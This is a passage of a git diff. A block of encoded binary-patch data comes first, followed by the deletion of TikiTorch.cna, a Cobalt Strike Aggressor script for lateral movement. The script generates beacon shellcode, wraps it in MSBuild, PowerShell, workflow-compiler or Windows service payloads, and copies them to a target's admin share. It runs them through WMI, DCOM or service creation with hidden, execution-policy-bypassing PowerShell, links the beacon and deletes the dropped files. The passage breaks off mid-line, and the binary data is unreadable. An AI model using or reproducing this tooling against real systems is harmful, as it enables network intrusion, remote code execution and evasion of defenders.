z%LaIDOI+5Jy_o+m`lH)6OIja$30jC)-y^Hpc*5XUtuJin{=6>Ig?XHDJ-qp0^C<2( z_v;lu2BHxYyqHBbH^H^1JTF2&C=rf?lwZ%wdEGH;wK-`eo-%ct`L4aE_o-}~P78Em zBU$5ne73+1THmAW5Try2c#i`0_gkGgMeGZ_E#~ma zA%_V~s|iNHVIol>=tzJNiI znU;7=5jJ;!12;D*!y!miS~Cj&g+3>@IWi&S^8W~L8s$~bA5h3|CX zv40O`CCgETuG&IdsCT%CCX8=W z%BoEtd>kBE;~H^g13$r|>G$cj#e$hHXpC4bxOdrX!cnLiB$v552q7tvAH?BG6S!bo z=89m^!jyjwt=F;R$@bf~PO;eb_C*Rg;OqQ0^L!VI> zSCnm}iqV31ZM(Z^egd=ZIQm?Bnx2eo z>96Hp=^A{MyrU_!_>HI(tn`>a)gtBA<;3Q?muK%V^s#8z8s-%HNhhocX(?~aS#ZfG{()yNyvA|B{9wmlJKQ9LC2zpVwoBU2Du@)@`^FT*?GW1 z3@uC{OTMul{kZlPhv1q(}D$d3m3MWOwYQ@;` zt4`-v6t$Vwmt?t{f+>D<;YXIp;oQohVFOy$sHP+x&0A}MsWau30loyuC~}WBB&-h+ zJ_L!~kRYZ(h3V1sboAj*2vdh}?A7>bxsmxgemhML0ghIMKJ&QHc=sNruw#4gRcWxW zEQ3?zg1M7ssX9@xrcGFCl6!w!tq>;|h=ZPqfWBU&`~pY38hMyly56t>aE zkHd=F+NQc_Z%a$F{b% z$tJz>Oq59Mw)117ikr~@--(_*53-`S(-7u+)=KIDKP zmM9Eu1UF6VhpLY|TXL|*dTpIwE8+T_NPdBuZyR`|Nc70^ho(V`NZPe;;?K?A3I##Y zJkAnjk~eg$OqTwxB1bnqTEkTz(wVJE%bk&*XmGw#Ufaiqf5=7Oa6f^XT+2{vzk6vgdzW}ee_Hk9VN0oqnOfKuWm`hcv==cky=>vJ0D&w z#;r?y9tWh#%*Ra^)>?4|M7RFyfDny9=GgAKJUY|lHadAd#CJfw1}NuUQ{_(^nfTv{ zMdqxUWqKqEjQBb#f_~H?5GRd4UHisUZ+}ATcjXhfgA6iXn3z-0FWAVyJ)DVs3As_M z?OI3}$9DRq3Qs4(+7xP}RWU#|lSfU)(cb0JKWK>~8_Av4a4d=tV&f>S*tD+dwckO* zOH0E&{z^VT`FdTaaF#oW5#EBPs*-GmK`ikd^8`%M4|j&SRGe(A22Lt4$}3FTqkmw7 zv(yQy8X{n)9Z&wogLWmA818FB=xTCuIJ{ZHIC?28ML+}DDwKr9!RiXwpZT(>I4EJM zsTIjZPlt@chHPaYwHA+`xF>9#_w^@XAgX3onacdxXFUUH?6M#d&IX>DKLjx|>r*Q9 z$;#m&8)74tPzZ1&%#>=M!}nCA*}-)Du1I)pg~ zIqygRA#*=3&|kpHbvy|>h)hUmzaGUkh~yMGp|2;-CS@yEAr2MlumrYy=Z4$6vp&8T zvZYR%U0G~Gbn`{cRtvL`R^r;6QXO^Kyj=2#gj?0sWDX}`WzgQ;Feb;5DThQG(tbHn zSmftV9QP~et43&#x~~o1%YP*O;Wf2mh*=CZABY8d&zdl2b3|51Nt}NZOch~?60e6C z1NnUEk_Zg9!_n?#?svd6nUJ6J`$6ls&E@*jzCMZ1%YsukLFEpFySjq3@7U;2 zq`rdjx}Y@kKE9EP*?9K>n}Jp z_uPqicN{a_TOlNq-J@4Ce~Eo`*ZxCJ5H7D1dKRyk$LFkYUj4x3#WY`zarsCVT(a(h zN=Q$9>3Hpw$7e&qjzWlW;m8L3==9>n5cCcM?j627O3KcdY*=p=8f{s6o9ob)Vw(*4 zV8Fl^MP&=f!)-q{JwstKeLm&7eHjsaV^}Myar2;F#Ay*kK7yYZLC!or2fUraKki-U zCAD&xRVgtO$-9M)NY7(KGuJo}uk&>~7`?3zwd4KH-kP^^$#wIsL{;`dgHpa51C{fv zCsIqw>zGtfS-dI>{l=QY!!}4X>;RX?DD}a^lh6%goNk?3Uq$!_;NTfaz-#1OqL-i{i}VYZtaYq z|0m6~xM=IkTQ~jo*On!seySW5q{FJ=u*A-STiW z7;;2W*g!ClmEk&559b;ho~$D^)rSs(v5b`wcQB@oakm&YEb3dpa8(F|6uUNuRl~Hx z&I(P#5iThMD?rpI=wgyogq-pd``{a4@q8pHfqXpJYuC}#_CQmU^Q}wd*H(}b`=F6X z1ih$WrG+K8%>)g&ahkqry+8@0Jhp^wb*HbS9M_!8$VN zjy(yU;NHLK4;vl7Utd8SA27^Z@xOlhLmJo7SJYpFeZue!}R z^c7_k>Fa}f7-?8>HV|APPMM-Qcu=pZ7v%NP@AVGV`*|@=QMwaqEcUeV5Zjh@@G@`A z&c2vCg;X?8cDEj07-n*P%i+=8h&oVO_K~~P`>M2DM)IoeTJf|Gwo$q>FLr4oYba;7 zczNh-xgYFh|Hv9*k35VLH9&nP%oAzf`LsyjF6wuFK8~k}k*-B97Nxu~v)czqT@B(b z;~SUyiuKed5tTzu@`088JVzS`o};G3{&w@X{&8N=3sE?P=#LyihZ(63*r-?MA78D!?;Qugrr zUIyP%Fcyn8|J3OfUDHj1yvNLycQLKQ-5Gs3RSa_xss*VrSX0>#N0GjnP8+__Ux~bP zk}SF{OG-`PS@W6hGTY#+s~(BV6tjgn*RH~e-7?$LZE>*a_WZWA_RLo^A4UPYUTU#m z078FdxA+>Qn;P}VPIUGzLVJ_DM6~Mw65zu@B`eX4Dj0ItN&yOj`O~zmp{h9D0>MXiWpSs4aTeZ>x4J^yYOfZEBP1 z$UhAGYG1KD7qyD@6}3q>?Q$DuK69U06GH{)esOoKBsM+@nC1FR`w_mLeO~^u|3-%! zYb%pPm)>r?+LTZn-Ar*SJuwdYF0R4}OCF1iIqN8d^DfjOV>~}XSq*j8>k`lP@Mz5g zHSf(1`;cqH-*9|Z^vF@AeHXNzi+*W~{+jByayuH3F+uotUaQBj*)93L@tMC?L$~>q zxO*vwvD@ACa*4>rW^y?HGYHe~V46Opb@OxIgMu%*$*+U-rTx?U;V9r`vEF9_>dj?z zeh;bVS9Wim=YB%3T(m6jC*73oigTcI$IB<&nBcp-_nUIgVXDAm_Q@sZ+u8ki!xE-| zr`_~MtoP+ptNNLqAIDmnZ2J81$){GBoX*R1mf}5#J=#; z3ujSv{Umn-yS4NbWbS#o8Me6=Ez`-md}GjAT#Scq4U<0QMa|b}YGg)V!?%U`83ILS zmU8v%+jit8`1E`Av&PR=xaW{p{>-YRA|=vtHZQl>xu`H=1hUs1s%^4nt-*!z#r>mO zEZmskN^RSaSq)q?pKF?@_tNrod){=;uST>bd*Xd-ThSviTB@&*&~EWFIzpeWo)lB; z&;X%sq+dUlY>yBsWSFZ=PmX1JYjJ10B*vT%W!RdVG^Ey9s;Qeb^!vaZ;#_IH=pPPl zR#yujFEh53qjbIbxy2f1`Kd!3LeC_0C*H_rgxz}ryh3&@iYdoAo(M=8w%91l<1SL{ zV^}F(`k^f`eRl+R$h8RLu8SL75&A$20W5lhSx4=r==kjtuK73qJ9BtFEK=SS^uvx* zxM5*}hz@-TEApb3H9w^p6T%7IKBMwv9Vp%(^`Ufv(TRjc7WX$8J8JAXYI$`mwF&cG z9rAqLcM+wj0@ucMwM$~(+N>|7jPxvxEcC3ws1;0}q{Ib{Tm)2gLkzHtpK~S6QY+e; zr0~!Q&Xid)?BLgitX6|X+s}=b87RBaidj}#q955>t_^LCGWC)lOC_}%Br z+Kf&r^T%tai!ttsCl<7cLKC9j=SrPRKxbEr0{MWWr!QCXwF9wwveh(#!k}L_=Q(R1 zZNx8b(BX}CX|>zaXA&xrPc7Sw%1?fVj+IZ(oY66Tz1%3%X?||o4CdY^9X9^QtO}dc zr?y$^Wz2&czdRc)0?VD|=J<|gidC9JpN4Zdef+FiV|KwmhX(eTB%d^7dTZ;sET2Qd z{jLr7WD|m9Ry@@9#%zKEs$m`0XM;vAwU1m3y?HJ5MqOBnOI*&|QEj zI~5ZEb+zTM0a^wr6GCEzbHH>4F$t&wT>ue)XaluJ(I?ri^gs7!mg&V-pn3fByv&~P z{s7&5q4n@4}w!4>iOiI2@8_fZ>n>vBWCt>wQ3)|0#%z_BsBXG?Vjy}cGd>wgKZ3+RGtgMG67 zwU)3)+z$CfxNW-aRW2BiuXWSd_XxHH_6E4Z3h1S_;YWBNpc=uCZZ`Y@%l<$KW(rEl zoCEWME<~Zv-`4f9gqIXsZ7588<0qK_pm&{ z&_cbi!d!8q9vo0U(VP|~v?=ygq`cO${cma0Gxm+Ry=%9mJvevViOkMUf|hBXW4P{2h~Xz5}vMJ zD(p za2D|9w!CMmn%F_I!!LN3d9M8Cc4zpC(C=PW(ai2j)3Rh_q7hS_nyt|LsenYF9)@N! zR}*}Pc>Rpj(Q~Za5H?-c7TK1h>kmwaKo-;vE87 zk3o*h1Kn`~MvqGCO@hhH%uu(;{cIYKF%37S+ML{X@lWYo6npMhcGLJ;$L!iq!WCFR7D9Eh{iHh_D0oIu|`l|L4!@+8f3;OLHTeU+J7 z?R^>ha>J5+BjK5HB3m(?0TJwT47IDjw*%_7xf^}=L zb*qVW>mTb@jE0;H-BXXQRL_hy!udF%a-}d}gCj3#XztK=U&l}DfoI>`rbZ2~P zOdq~NtPp+ep}tEuHxL9TboKB>DkeZGMxEqY#5G#6O4c+>TXSV^J;$}x3SJA9Vv*t? z>BW3TEU*|6pW(Uu!?RRU&N|)0aT5`ZJWdsQC}wTy2k|^STgoyGXh{}m$k{70%a(v+ zS$hy~IhVCw%Uo%ZYB_gpIWJvl;r$hp&enopTyx8+eJEFR>soV*SaT~^lpH^HA()KzmGcW-4yIMfCq#Z1PKfg5Cez-gY5!-Ql757NU;N) zft-QiL*hg1?`SIk|Nc~gSwoyb0!85XdyR@5++#mJH3og-9Uy&pN>b#n2_nPAI(fb? zQ5Br>24xDzY?Tfvv1H8Lz5ZY}!F+m} zgg=9qw-}dj94i71FH+o$Md?)37q00S?sOOMvV8qWb%Q(*NE4UN(*=lV?{N{i6 zOTIZTw`cfJDZ}%V?DeVuqg`#EYKx#GSQ6?jz^5pDF49ALhTyiW(X=?E-GG~H1if_& z5@Zb9G(+8`3EFbJ4ih^exGKNZ{KS;Fm3dz0>O8Wwn-d0AG(EV3$tx$hV&Y$kzyoO{6zLOG zo#u3=0hfq5)D^?fXk;q$eT3%5GxtS1aYP^)3&Cp=VkWtLxewfA@nV6|a>Yb*!7f{A}d?nz_l~lX?+7ov=IVRwy)Ae+`T#(eE zMsEE%QXW$&*HY+V#*D;=c9V4&N7Soaaj05jR-%YBegARnG5v%fu97KVLP)TbqYwN! zPa$Cz#(VC#wN3nKrT#i=$ zp4|&=`vq%R=|!cPro24|3X9@n?N-bSHoBEg`SW3yiF*~VC`U)i=j-vnO; za8CiS8H5Tf8J99AN3>_-aIz>fBw0FEiJey9CE(~LfN!-_-*hA2+cG`wSB6J;ln3~d@2GW(ZTBCGG#X(whux1j!LBrgx(TQrNK;F5 z@mS@o1zKG|UOC5RJbEe^HL05PoCrq_6{_Y6Ss#VpAN>Yr1 zlaOwuae_oS7JKrmg)f`wy=vt;#GYCobQlgD)f=YKqgYjssX+ z4u1SYndqUvd5&j{^Y;Be?LB#1%~|{BdvAB4 zTwH}vN|+?=BvRU?jc!G@+~un-cd5ImG?aPAG|1khEQQAQB4iAi7BfUd$u5%&5=p5f zY5P6r+r5^Vd4Ip(U+??Rd#>;EJ?B}@^PK1GUp^0gdoP#5e!o8oBae$xTYedOt7EDD zkl5jGTF+-0ShzGS+S?hgU+&eNpS-5InsIT~+h5n5xE^=@D>R6|GbZVeBymz+$?&LW z`)`g&2>fmCF8Wf#_v3z+I4u5t!Vgh?{#GRj6M42OW4!bRlYrNBO$!>5$l%cJByy~A*(K(dyw2Q@o|NF z@oyCif4i4AL4Qzk!M>EW+4oP$X}1>s>H=rro&gpv&4vx~b)-kuy2#bBeGG2B+mpM$ zzPdJP-17P&(QxanCzV8sok7IBGTWqQ$0wxP{^Y=7ywN}0Ij?LuYwkGnpWhhCwpC`& zduM#+`;H&Bu1g;D#HZ6TzeJj_wxi~r|Mh$B~n9??2^i>J62GE)i% z`^43E>%F&qd~bEdq9&$I9k*z+H2-QQFRC!CDfJeS^=wkw6~iUL(ez%Q3t&lvbWJ~Y~MAt zZyHa!7pDgXR_x!Y7SG5ot&UsNJ+*Dx{b#3^goLoTg@$l*8V3Ux|S2aVp+DP7|?i<8nk%IQ~mIzR+soQA9?iCSwuLO+-w`W z@|M@@2RGX)X8E;NM8m^|X9hgx@I=8g6rQ<$t+UtOuG#AHN)cpzE+ul|*j%e^bGKhP zTB?7Sw0LE=L7h={?%IjB(@NK>_fCl@4=QlAzt@zJw&Q8(1Oq?k^_TtD?7w^c!O;sN z{Elr>PMA37+Nl>CRXVQKgYq8vI?DrQ<~3Ht`sus+b)RWUT9Y&}DRATZ6_!55p#^;> zbIg;1Z*^U*z3ty^c%GhAkaQs_8;xX6DZX=!brk(n^Uq&Xk#^I6U6d{!NQh=8O3o85OM4!qZ*cdsMiZo-7xqTdo-_dWczxm>w2C?=1vYTS8k z`}S9Zo08ndpo4R{q= z{`Sb(-$&YY861#5Rea-JT^e#&uxq_V%(G)5;a+2_ZmQb$A8&CCpnHve&C5@n`7JN3 z&?2jOmtdQBdpB2IJLhF;&d|drezd4I_08E8(lztY*GDcM&O6vWj=VqSwA;n$fjTp#1UvxWmes7hn3Xv_96XqpFO&QMmbC%Co6^x+c8tih3;`ytE+u^ya%u zDoby6|4{bB+l^OO?R|Icr>p}l^p(1!`oA-lTv1099`R{x3Y}lq=^M#gaoL=hF|V#` zH4AMb-qA7{`Dn7_a5{5E^7<#kzBX+-SEW39an*UZ^GA{# z3-s-$y0sq|ZC+azFIcx_&ZIMX;y|bN-6Iy2w%W3JmjoHP;m^uv+l_aY8MfXmO5>^0 zjzmAJ%$GSC38xkBIrY2b-1gauelGKKF0X$+FRbZA{Rp2)Pa4Ay4ziwB{FwhBZ)3f# zqI+h~)?;a*&X!Zlx3peq2sHFTdfPKYeH;4) zzA;~N%Qa?S?3#STMPqLYeVX3f9~XOxbDeyoXZ~z76a9N?5PosO>t$g#nHTt`21`nO`eCET0`9CdwmA zg%6!`raLMdT2EX%I@ssCcPwN3?@JH)RLnhaXN!|b%Z4ONkLO9_gfF~fLX7RtUfn#~ zA??A7k`de55C7`_{L}%`;_9v#FI)Fa2f}k+U`2S@{UNh{-+0;JhR}7Vi^nBgTK`qR ztQ6cc_Rs0-+TZ-B%eEC6^e-LOLKM5jr95U|Ki-^?xUphRyd>5v?tH@$XOAU0JRdjL zyX6~s8G>i_J5wJ7^5-&Y?FWwX+nZN=x4C3UyxVLt zuI3*cGOUW{0E`K7AB>zgt@m!MGQg$ftMwdK9B;_i`{{Z?NkxJ(4~)xPAY~3Kco?>A zwRdCo!Zd)JNsE@IMNw~a!gxU8-AMXO8V|l+3T3KEC@l1blA&DnDDy#3T~Uhh4dZn)|6HHq%*L5`mLCfqxe zvf+;z<}RnoBN&aRQraIhy69$9w>F&G+*Bi5aaZ@j*voPI_NI@Wmu&vsw|94qfA2V^ z`Q@!k+nzP(*Cmi0@UM$_Q*v`hU0>H;F+<;e)~M9Pos;^v)mr$!jPWaeQ(>gusrzF7 z3|-cF7ccjGpN(-vmE#LD4raFLh7K<7SK1uq;ThX4GTRY(<*0*e)XuHfOBU&G@^tad z{i-Uczrg6_qK(gG>)Q9#MfIQAC_)At^yuhQXTQ#MbIcg`Rl|c; z`2{@6)2;pGj~^YYhTJ?C^lEI?SF`lYq+Ibx&yxZAQ*GPy>pN!$=muTe8Zh!{YFC?U z?%JD~(=EylD9y;8u1(6R~g(bJ;bEB+3Xa@!JLiXU_oz5S`aD`LgGcilnzZ^ifctj%;=s#}nlup_6n zF0d|Z`|FmPr#>Cs@*8hn6^^bwyw}V}ziVaF6Zx@KmTk}PaT0A4dSYe2_xuoku&sMj znV{8Tec}G`wc|g?%wNZ}c17&pT)ikwNuO3D^7wGK;X!`S5pMJR^UdSw4)QGBw#4n3 zQbz8$oti%{M`m_I{3v(cOm_l@SAqngiqLWgD;q0&8+%(PjA0-NKnI9yWCroo_Q3l+ z1bQ;#sT5*aq!M$agOCY`n}zbwSqK4!LzS8Ng!+2Iy9CM?A=r|cyF@O)%#fhica9N_ z-3P1uK-iGVaTnDz`N5cL)l_n z7^(O4V8An}JR)%3hQOTT8D4Z8?+WJ|7`UDUgfSgd4SNU@Z1{nOA&rjV6~dk&M_J%K zCTgPe#?i1;I0au)@H7R>D9EN@72yrCzfjPb!kE#*aMLOOU{B!R0F(#Os2Gr=p(F?t zSEFM}l|UJ!7%-CoTKl7c=qP)hTFszc+Tw1+CCAy{xgUp-a&Zm2P13iRDu4d-h5GAOZ45u`0>H!}k)h}M)Y z=$rs+e$>UeeJAp0(q@e)>&ab238Va@p4-G|u?+D~YVe-LcG}KES zMB(pJn5zKkNKEm(1w0LT&&00rm}@Z>U!Q8>z` zUxoZ5dO3=R+U}s$RGl$sr%o04c`Gpm=Id7 zN5QE?2I|jPOzfrf>Z8?68DOR}RfI3p84o;_%vAu(0P3S*I^O~Q8Dk?Qn*q`Da9i{= zP=dZAP9h^>Cy@u3eZ*{JOFu;XN>Q%>yiHV4`3C?A+Dm}(L=y$uDM%0)(}#isDQHMR zQ-ChCaa7)xf=(3VprPnzf`dk&V!{e-BOUic;4c)sK*3T9 ze~TCk_=gncDFt5<9)M{fqyRgJ6*M7QPvk)TR^Z38=mlaELy1tL9z_y5NqDS$p76|r zKOYkTy^YhCI5VpFrDWwt7QCh%hUW)Z_;9`i9u`EY!}(-*kf&Iv63b9afq}0kc2zkhrDz$=-q)MS&ArT9-BoDbnLQHtaxQRqataMYU_`)bsgnVTxQUSp@mqA|GtHnwsUM7|RFR8GK7746` za%r>zYWj>r%PEpb{*L@v1%Kl37RyAl6mlU{H%lx+O1WAgB%yh|8o*X)JBdh{kQYTt zBtl&9iW5fhWsxM3sU;E*Y&G)r6f2|UO1?lsQtb@nOG&f@$W+FMRB7KDRix5Aoa|ZSAr+L1`B+>9o1;JtBpIS1kKfO9)>99qSFDYROpn=LD^c zHy9X3DsX>)lF|}AL?LNh*a3arBo&+$mxSB@s+Y_;FMY4;)R)wRMA! zMQWkyuLKWybi6_w8TGd$X*6FJ|4AlTEmMi5B-ROf1Y(I;^%>PY9y}eQh=-mH<4e>e z;)_HPTK&PKQZ89eYNtd~42yuKF~}`C+EXs&i)EB;9%_Yxl&Lfr zZ@DO5(@1UGeS@q%n_EZ(CWvKJM`}5I;MB&Kh*x}p3y*ODI6UiBG*_&%^_de5;?_ymmN}pwEd+iDoGi}YI@IWIkaO2UnYWC2EK+h z3C)1DO&$vwE1^n`A@vH7%fz^-SsOjY{74xrTVf%EU+Y~iwf#-4Z1QLxsaP(C_2$py z-r-FuKGN|Li3f(4R6vSEq)6LWO4K{6q2+jSQX=S2O2cBKODc@|7*;E5v*mU}ek23b{-Qp2hsjNrg(|RHR)OMegx<)L^m-29?r}jMw&v z)=Fwng91EqB0nO*2VQZcQ2hl`0AouLkL1x2l>IP;ao$%3i!KZ?DETS_VUZ3}cuAw7 z1Zg0N;!rf)KjcUOkz5sc^BrP^giw|O9^=5L07Y;-gP^PZF-3_~NDVYTLesu1_ey@E zTY;Pee*dCI0~HdZW$%uK@?kUz$ z8E!7=#)y4p#ey(HhsSH-ia_*bG1zP)ZXY(c51cf(eds2L4Ywe`aC8vC<}g?^BL*98 z4Mq$O&BIa7u&#NN4+`r@X|gu2v^N!6V%-oA!B^q3!x33qu@se%4Kl&A*pQ{b~SmdlE4)Y zi~(*Mo;|2Pf%;NQFtvNbEs#2Z4j~ZtN(MFn*<#m^wRHys{688E} zSbV5ONTrD-k9BOsc@v!bYtqJ?@1;a|$Q7OvNdVq~slzx)QaeAU_KZO$(|g(e3;zus zz~4m>+!RsLm&))ILNMX}ipP92;F+6*&}djfwP`fm=Mf4+JQM-Y3k5^Y7e;0vlzjnu z_x`U7s6eN&yZ3%bO*D|{edBLfIKk4UnVD3P0-gW~sFe>pmN&K6!2Jcu;J-VNQ}of4 zR0y@7$zX4j04LsYdqxM)O@M+s;t63cJ0*UQ)hA&?Pko2~loW1tG_(m@8;PR8UPO7~OPmSZ%}wBE2l{Q{`wc=6RsV~6dV2?-52R490@|td zAgn)>y+IlsxOcFxeVS}h diff --git a/Aggressor/TikiTorch.cna b/Aggressor/TikiTorch.cna deleted file mode 100644 index 18ad0e0..0000000 --- a/Aggressor/TikiTorch.cna +++ /dev/null @@ -1,587 +0,0 @@ -global('$WMI::AssemblyPath'); -global('$CsExec::AssemblyPath'); -global('$CsDCOM::AssemblyPath'); -global('$CsEnv::AssemblyPath'); -global('$TikiSpawnWOppid::DllPath'); -global('$TikiSpawnWppid::DllPath'); -global('$TikiSpawn::XmlPath'); -global('$TikiService::AssemblyPath'); -global('$TikiService::ConfigPath'); -global('$TikiCompiler::XmlPath'); -global('$TikiCompiler::CSPath'); -global('$TikiManifest::CSPath'); - -$CsWMI::AssemblyPath = "D:\\Tools\\MiscTools\\CsWMI\\bin\\Release\\CsWMI.exe"; -$CsExec::AssemblyPath = "D:\\Tools\\MiscTools\\CsExec\\bin\\Release\\CsExec.exe"; -$CsDCOM::AssemblyPath = "D:\\Tools\\MiscTools\\CsDCOM\\bin\\Release\\CsDCOM.exe"; -$CsEnv::AssemblyPath = "D:\\Tools\\MiscTools\\CsEnv\\bin\\Release\\CsEnv.exe"; -$TikiSpawnWppid::DllPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawnWppid.dll"; -$TikiSpawnWOppid::DllPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawnWOppid.dll"; -$TikiSpawn::XmlPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawn.xml"; -$TikiSpawn::PshPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawn.ps1"; -$TikiService::AssemblyPath = "D:\\Tools\\TikiTorch\\TikiService\\bin\\Release\\TikiService.exe"; -$TikiService::ConfigPath = "D:\\Tools\\TikiTorch\\TikiService\\bin\\Release\\TikiService.exe.config"; -$TikiCompiler::XmlPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiCompiler.txt"; -$TikiCompiler::CSPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiCompiler"; -$TikiManifest::CSPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiManifest.cs"; - -if(!-exists $CsWMI::AssemblyPath) { - show_error("WMI assembly not found!"); - exit(); -} - -if(!-exists $CsExec::AssemblyPath) { - show_error("CsExec assembly not found!"); - exit(); -} - -if(!-exists $CsEnv::AssemblyPath) { - show_error("CsEnv assembly not found!"); - exit(); -} - -if(!-exists $TikiSpawnWOppid::DllPath) { - show_error("TikiSpawn DLL not found!"); - exit(); -} - -if(!-exists $TikiSpawn::XmlPath) { - show_error("XML template not found!"); - exit(); -} - -if(!-exists $TikiSpawn::PshPath) { - show_error("PowerShell template not found!"); - exit(); -} - -if(!-exists $TikiService::AssemblyPath) { - show_error("TikiService assembly not found!"); - exit(); -} - -if(!-exists $TikiService::ConfigPath) { - show_error("TikiService config not found!"); - exit(); -} - -if(!-exists $TikiCompiler::XmlPath) { - show_error("TikiCompiler XML template not found!"); - exit(); -} - -if(!-exists $TikiCompiler::CSPath) { - show_error("TikiCompiler C# template not found!"); - exit(); -} - -alias tikilateral { - - $bid = $1; - - $input = substr($0, 12); - @args = split(' ', $input); - - ######################### - ## Check args[] length ## - ######################### - - if (size(@args) eq "6") { - - $target = @args[0]; - $listener = @args[1]; - $arch = @args[2]; - $binary = @args[3]; - $payload = @args[4]; - $method = @args[5]; - } - - ################ - ## Get Method ## - ################ - - @method = split(':', $method); - $m0 = @method[0]; - $m1 = @method[1]; - - ############ - ## Errors ## - ############ - - if (size(@args) ne "6") { - berror($bid, "Invalid number of arguments"); - return; - } - - if (listener_info($listener, "payload") eq "") { - berror($bid, "Invalid listener"); - return; - } - - if (($arch ne "x64") && ($arch ne "x86")) { - berror($bid, "Invalid architecture"); - return; - } - - if (($m0 ne "wmi") && ($m0 ne "dcom")) { - berror($bid, "Invalid method"); - return; - } - - btask($bid, "Tasked Beacon to run " . listener_describe($listener) . " on " . $target . " using " . $payload . " with " . $method); - - ############### - ## Shellcode ## - ############### - - artifact_stageless($listener, "raw", $arch, $null, $this); - yield; - $shellcode = base64_encode($1); - - ################## - ## Prep Payload ## - ################## - - if ($payload eq "msbuild") { $final = msbuild_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiSpawn::XmlPath); } - else if ($payload eq "powershell") { $final = powershell_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiSpawn::PshPath); } - else if ($payload eq "workflowcompiler") { $final = compilerworkflow_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiCompiler::CSPath); } - - #################### - ## Upload and Run ## - #################### - - if ($payload eq "msbuild") { - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.xml", $final); - - if ($arch eq "x64") { $buildPath = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\msbuild.exe"; } - else if ($arch eq "x86") { $buildPath = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.exe"; } - - if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $buildPath $+ c:\\windows\\temp\\tikispawn.xml\" $+ $m1 $+ "); } - else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $buildPath $+ c:\\windows\\temp\\tikispawn.xml $+ $m1 $+ "); } - - } else if ($payload eq "powershell") { - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.ps1", $final); - - $pshPath = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"; - - if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $pshPath $+ -nop -w hidden -ep bypass -file c:\\windows\\temp\\tikispawn.ps1\" $+ $m1 $+ "); } - else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $pshPath $+ \"-nop -w hidden -ep bypass -file c:\\windows\\temp\\tikispawn.ps1\" $+ $m1 $+ "); } - - } else if ($payload eq "workflowcompiler" ) { - - $handle = openf($TikiCompiler::XmlPath); - $xml = readb($handle, -1); - closef($handle); - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler", $final); - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler.txt", $xml); - - if ($arch eq "x64") { $path = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\microsoft.workflow.compiler.exe"; } - else if ($arch eq "x86") { $path = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflow.compiler.exe"; } - - if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $path $+ c:\\windows\\temp\\tikicompiler.txt c:\\windows\\temp\\output.txt\" $+ $m1 $+ "); } - else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $path $+ \"c:\\windows\\temp\\tikicompiler.txt c:\\windows\\temp\\output.txt\" $+ $m1 $+ "); } - - } - - ################ - # Wait & link ## - ################ - - if ($payload eq "workflowcompiler") { - bpause!($bid, 10000); - } else { - bpause!($bid, 3000); - } - - blink!($bid, $target); - - ################# - ## Remove File ## - ################# - - if ($payload eq "msbuild") { - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.xml"); - } else if ($payload eq "powershell") { - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.ps1"); - } else if ($payload eq "workflowcompiler") { - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler.txt"); - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler"); - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\output.txt"); - } -} - -alias tikiexec { - - $bid = $1; - - $input = substr($0, 9); - @args = split(' ', $input); - - ######################### - ## Check args[] length ## - ######################### - - if (size(@args) eq "4") { - - $target = @args[0]; - $listener = @args[1]; - $arch = @args[2]; - $binary = @args[3]; - - } - - ############ - ## Errors ## - ############ - - if (listener_info($listener, "payload") eq "") { - berror($bid, "Invalid listener"); - return; - } - - if (($arch ne "x64") && ($arch ne "x86")) { - berror($bid, "Invalid architecture"); - return; - } - - btask($bid, "Tasked Beacon to run " . listener_describe($listener) . " on " . $target . " using TikiExec"); - - ############### - ## Shellcode ## - ############### - - artifact_stageless($listener, "raw", $arch, $null, $this); - yield; - $shellcode = base64_encode($1); - - ################ - ## Prep Files ## - ################ - - $handle = openf($TikiService::AssemblyPath); - $exe = readb($handle, -1); - closef($handle); - - $config = tikiexec_data_swap($binary, $shellcode, $TikiService::ConfigPath); - - #################### - ## Upload and Run ## - #################### - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe", $exe); - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe.config", $config); - - bexecute_assembly!($bid, $CsExec::AssemblyPath, " $+ $target $+ TikiSvc \"Tiki Service\" c:\\windows\\temp\\tikiservice.exe"); - - bpause!($bid, 1000); - blink!($bid, $target); - - ################## - ## Remove Files ## - ################## - - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe"); - brm!($bid, "\\\\ $+ $target $+ 